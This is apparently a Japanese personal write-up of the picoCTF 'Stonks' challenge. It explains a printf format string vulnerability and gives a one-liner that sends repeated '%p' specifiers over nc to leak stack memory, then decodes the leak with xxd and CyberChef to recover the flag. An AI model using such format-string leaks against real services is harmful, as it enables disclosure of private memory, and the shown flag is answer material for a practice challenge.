- Stonks★
-
- お手上げなんでWriteupにすがりつく\(^o^)/
- 結論、下記コマンドを実行した後、CyberChefに結果をぶち投げろ!ってことみたい
※ncのアクセス先ポートが各ユーザーによって異なるらしいのでコピペ注意python3 -c 'print("1\n" + "%p." * 50)' | nc mercury.picoctf.net 33411 | tr "." "\n" | xxd -r -p
- じゃあ1から説明のメモ。DLした「vuln.c」はアクセス先のサーバーでも動いてるプログラムっぽく、「vuln.c」をローカルで実行すると93行目の
printf(user_buf);
printfはフォーマット指定子(%pとか%sみたいなやつ)があるとスタック上のデータを出力してしまうらしい
-
ncコマンド実行して確認してみると確かになんか表示されてる
$ nc mercury.picoctf.net 33411
Welcome back to the trading app!
What would you like to do?
1) Buy some stonks!
2) View my portfolio
1
Using patented AI algorithms to buy stonks
Stonks chosen
What is your API token?
%p.%p
Buying stonks with token:
0x88e53f0.0x804b000
-
- 理屈フレーバーがほんのり漂い始めたところで味見(深堀)はせずにコマンドの説明を左から
python3 -c 'print("1\n" + "%p." * 50)'
「%p」を50回入力して、スタックの情報を沢山表示してもらう。きっとその中にフラグがあると思われnc mercury.picoctf.net 33411
上記の50個の「%p」を投げる先tr "." "\n"
trコマンドは文字列を置換する。ここでは、ncの実行結果に対してpythonで%pを投げたときに「.」をつけるようにしていたので、その「.」を改行「\n」に置換している。
(最初から「.」つけなけりゃいいじゃん!と思ったが、これがないとちゃんと出力されなかった...。なんでだろう?とは思ったがここまで理解するのに疲れたから何も考えずに先に進む...)
xxd -r -p
xxdコマンドは16進数を文字列とかバイナリに変換できる子(その逆もおk)。ここでは「%p」で得られた16進数を文字列に変換してフラグっぽい文字列がないか見ていく
- コマンドを実行すると下記みたいな文字化けした文字列が表示される
��7�K�H�0��M������
�5�7ocip{FTC0l_I4_t5m_ll0m_y_y3nc42a6a41��}������$@��������0���E���@��ۘ��&���E��H���ۤ��o �K��@��N �������P��X������@�K�������
でもpicoっぽい文字列が出力されている。この文字の並びからリトルエンディアンみたいだな〜、変換めんどくさいな〜と思ったが、救世主みたいな便利サイトがあったのでこのまま次に進む - URL先(https://gchq.github.io/CyberChef/)にて、Input欄にコマンドの実行結果で表示されたフラグっぽい部分「ocip{FTC0l_I4_t5m_ll0m_y_y3nc42a6a41��}」をコピペしてやる。
次に、検索ボックスで「To Hex」と調べて、出てきたやつをRecipeにスライドさせる。「Swap endianness」「from Hex」も同様にRecipeに追加する。
すると勝手に文字列を変換してくれる。出力結果の最後の文字化けのところだけ削除してフラグを提出したらおk
※CyberChefの使い方は下記を参考にした
- お手上げなんでWriteupにすがりつく\(^o^)/